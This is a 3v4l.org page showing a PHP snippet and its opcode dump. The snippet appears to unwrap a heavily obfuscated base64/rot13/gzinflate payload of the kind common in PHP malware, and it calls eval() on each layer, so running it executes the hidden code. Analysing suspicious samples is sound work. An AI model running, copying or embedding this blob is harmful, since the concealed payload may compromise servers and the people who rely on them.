3v4l.org

run code in 300+ PHP versions simultaneously
<?php $start = "eval(str_rot13(gzinflate(str_rot13(base64_decode('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 +F/j9+78='))))))"; function contains($str, array $arr) { foreach($arr as $a) { if (stripos($str,$a) !== false) return true; } return false; } while ($start != null && stripos($start, 'eval(') !== false) { $start = eval(substr($start, 5, -1)); echo $start; }
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 10
Branch analysis from position: 10
2 jumps found. (Code = 46) Position 1 = 12, Position 2 = 18
Branch analysis from position: 12
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 2
Branch analysis from position: 19
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 2
2 jumps found. (Code = 46) Position 1 = 12, Position 2 = 18
Branch analysis from position: 12
Branch analysis from position: 18
Branch analysis from position: 18
filename:       /in/gs6gr
function name:  (null)
number of ops:  20
compiled vars:  !0 = $start
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'eval%28str_rot13%28gzinflate%28str_rot13%28base64_decode%28%27LUnHEuy4DfyarX2%2BKXhHPs0o5xwvLuWcs77elNdGZgBOECBAoFtYPdx%2Ftv6I13solz%2FjQywE9p9smZJs%0A%2BZMPWpXf%2F1%2F8Lauymyf8cwrK6nC3AmzDE3UlTjZaNBohU4wImn6oue3r8DrE8UpabJ%2FzfyG2iquVvsb4CBNNwAHFX4gujah4BOouJ3IJliTQsmeTl1NdzCM7aVTeMWPWZx1TfiBh3GZFoGPVmCpxiXTHfDKZlZKhw3wNE0%0AdIv2CzYnzXebK5O0K83W3UAS7RPBWUGi%2B3QOsEab94b7uwoaVAxCD%2FWgHN9kB5vOEIgPWUrMiwXJwbNku84HydkiJt7bmduUKDSH6eBKxIe9UAp%0A%2Blhf9wZszH1N6IX5Md9psZSdUUShRljc%2FYF5f8cCMHpAQ1HXOQtD0LQ%2FYMKv8Ry7bAc54SpZ3uMhL7apFLMvvA5cBU3wZrSkTO4lRI0ErTgHoGm6R3XOBs7MxRgFq7DhtdJ%2FiIl9EyyVXyOVqoFmzrwvSIGUF9oZZUXLGW%0AEtnZBhP9zdaFMja8tVdKbZ%2BWZgmtJdCMvZwUtdaHnLltMJZgi3pdk%0A%2BRP%2Fkr74W52GYsbC8p%2Flc1OsAptzZl4UnNHlFgNfN0pxzVu4aqeAqsnxfumYj4U%2FPdaIbl7LFDxNx1876yRZsZ3tE9Gd0oywUtlnTcBLbUREIIgxpUZPgYMI9s9oiGcIlhrIj6g92%2Blq0vgh9sUvubY67QQDLaRbyNkjmR%0AdLFugwfaGTIsawcmYp6EvkYX4ym7p%2BgUseMrXxgj4gplomZkp%0A%2BDe0ncef4JvMEuumtx0pEs65cC12nxoTdKO77SOSgUbWMjE%2FUTU95XvP0oA0WNSkPkhhxxO0h1YGHjWPJQGAcdb3PFeet9hFk5ldK%2FjAQVk3uA1LoVXnJqRR%2BArRtIKf4%2BKCuBc6%2BaGaQFAl16QZld5u2DS%2BVJp9lFLQ%0A%2BnwClAOxc4xoR64w2adRkygg6ra85lTrAtsT%2F9sDdSYP9AMNXTUWX5NcZiui92kNJhrO4r1s390cs1aroI8QIcZJSHMMsLND7DlwMFw5KKZ97OjS2dAnXI6hUYMWLuNTh1ulTL5d18UMs1MqYUafz966z09i22ouDTRlRW%0AkYOKEuJbHHGxgAeLag%2BHPplR8yJ8Z9Cm6wfkRnDS9zMpbq8aWvcE%2FgP73eYxRQUXBxIYy7Dy9CdqeSLT1%2Br9bGl%2BvEzvqMVFEfRmQ5C2llyj4kET17hRsjtU9uH%2B6YtbnOBYhOJKYdc3qb%0A%2BURnQlqOrxbLcEdltyUdgtNxdRGs0H6ZkFxiZiz0SMmtV4OAp7O0hlpDrgKQXJizlJJmzF2Z4YjoD3T0%2BOmQerLw4Um9OfQjK4y7vd6bLOPx8JzK9%2BX407Ld%2Fqe3FMhJz6RzFf%2BVRucAynIvK2vAtuMAM6gd%0A%2BxXPjEdxz48YIP8vEzu58smehGmuodBbrZJU3EZbTgyKEwJ%2Ff9W%0A%2B6NqoDRjjjXJ8BSOsCwcguTCV33nYGJF8FDZ7qqt1vAkcRuxx%2FOuGEzIfHLnwx3vtPs1ygIarImswm3MX0CGONHJ6ekTMT1%2FfWQWfES9LnAsaI4ulny59fCpsXnaojPbK98JoSd324KHabEo2VvVkv2YY0Bn2cBR8kZZkW%0Ajoy2JtozG9FNn2RQbOfuwAiwRjShGKroPjPfuhqDkeML00CPfDva0F7pRtYBEi7cgyT73KtgKvTdvU%2FJUFnZsqcLPEqIQBZQrwPS%2FOIyB6yh259xFEH7yhz%2BIz7AZAN6q5mfNMFBu4%2B6Z%0A%2BTFaTa8jcLeimEQi3b%2FUE7E504I3J9G2mpLAloakZQmhtz57n0wkIyBTQz%2Fm4R%2BeKHhvHj7JLvGQdUo1W3I8iOou%2B0ASZIKwasjyK85GMHJtFLkUEjKta%2Bxfi4XjaBmoL4%2FovtbZlV0rlu3B%0A%2BhyvJ01LDHKmkKNG08%2FOdoa1qtxMO7qw7LXDVvdYdiLybhrPHiZZR%2F66cPj3gTSRZNJdUZKdqhuz1%2BSpeLx7bT1Rax4rzGXD6fy6K0YAIWeaxLNVS5sWOSOZFnkYk%2F%2FG0%2B1ykMr%0A%2B7RXGyEQ92m7Tfm9SVtfIC4vaIdIoWbS8mOBIi4fSERMO2RBQpTaq2piwNxp9M6B1kN2NQ%2FY6Yjxw7T5s7KKzd9u7cnApNpUZ5FU4zGkuuWsl%2B8phIz09M4T1AoadHTsIMmXbcfjBk0gt1gJ5QtS4Bb6CefYtG6B%2BpytP%0A%2BP85%2FlFD4ZD7C9neKgPOXqYxfr2xnOuNgaBQLhq%2FCl3Gd5e2M%2FED38SEMVo%2BFn%0A%2BbLMLfx94EL4QjNWSHe%2FPTUos459CgDqEfA%2Fh0nC5uQvlC7HU78V5wXsZLnWMNF1NU60UuG2kMeZC2y5cH5Obt8grUFtWOvcLcKbXfJJoc5K38P2FhZFZ0VjDDkjVPzhEV%2BN6x74hdehwfL7WCm%2FIPGe%0A%2BBX98AiJ0Ws%2FG1dA2%2B%2BBf1%2B1xTeg6nCZ8ub0juPNUUiNr%2BG4tPQViIk9cGkcl3Kb5CWznRFevxNbASzD9jXjdUDqplNUZiuBX6UXBTa5%2BpZFamW6zEIlO1zhSYGLTmIJT4QjX%0A%2BNCYtacOZPLuSsnm4r0ovmah5l8HzqE32Rch4GqO7bsycE92ZfoFvr1cRJJ0%2FJ8OraL9gh0OCRrm5wwNceGlXWKTMauH%2FFB%2BP9HMLiORGC4Jt8%2Fxe%2FL3J66fkJSI%2Fw2pHdPgnFrC4j%2FLlw%2Bbv0MT%2FP%2F%0A%2BF%2Fj9%2B78%3D%27%29%29%29%29%29%29'
   34     1      > JMP                                                      ->10
   35     2    >   INIT_FCALL                                               'substr'
          3        SEND_VAR                                                 !0
          4        SEND_VAL                                                 5
          5        SEND_VAL                                                 -1
          6        DO_ICALL                                         $2      
          7        INCLUDE_OR_EVAL                                  $3      $2, EVAL
          8        ASSIGN                                                   !0, $3
   36     9        ECHO                                                     !0
   34    10    >   IS_NOT_EQUAL                                     ~5      !0, null
         11      > JMPZ_EX                                          ~5      ~5, ->18
         12    >   INIT_FCALL                                               'stripos'
         13        SEND_VAR                                                 !0
         14        SEND_VAL                                                 'eval%28'
         15        DO_ICALL                                         $6      
         16        TYPE_CHECK                                  1018  ~7      $6
         17        BOOL                                             ~5      ~7
         18    > > JMPNZ                                                    ~5, ->2
   37    19    > > RETURN                                                   1

Function contains:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 3, Position 2 = 13
Branch analysis from position: 3
2 jumps found. (Code = 78) Position 1 = 4, Position 2 = 13
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 12
Branch analysis from position: 10
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 12
1 jumps found. (Code = 42) Position 1 = 3
Branch analysis from position: 3
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
filename:       /in/gs6gr
function name:  contains
number of ops:  16
compiled vars:  !0 = $str, !1 = $arr, !2 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   26     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   28     2      > FE_RESET_R                                       $3      !1, ->13
          3    > > FE_FETCH_R                                               $3, !2, ->13
   29     4    >   INIT_FCALL                                               'stripos'
          5        SEND_VAR                                                 !0
          6        SEND_VAR                                                 !2
          7        DO_ICALL                                         $4      
          8        TYPE_CHECK                                  1018          $4
          9      > JMPZ                                                     ~5, ->12
         10    >   FE_FREE                                                  $3
         11      > RETURN                                                   <true>
   28    12    > > JMP                                                      ->3
         13    >   FE_FREE                                                  $3
   31    14      > RETURN                                                   <false>
   32    15*     > RETURN                                                   null

End of function contains

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
168.94 ms | 1392 KiB | 17 Q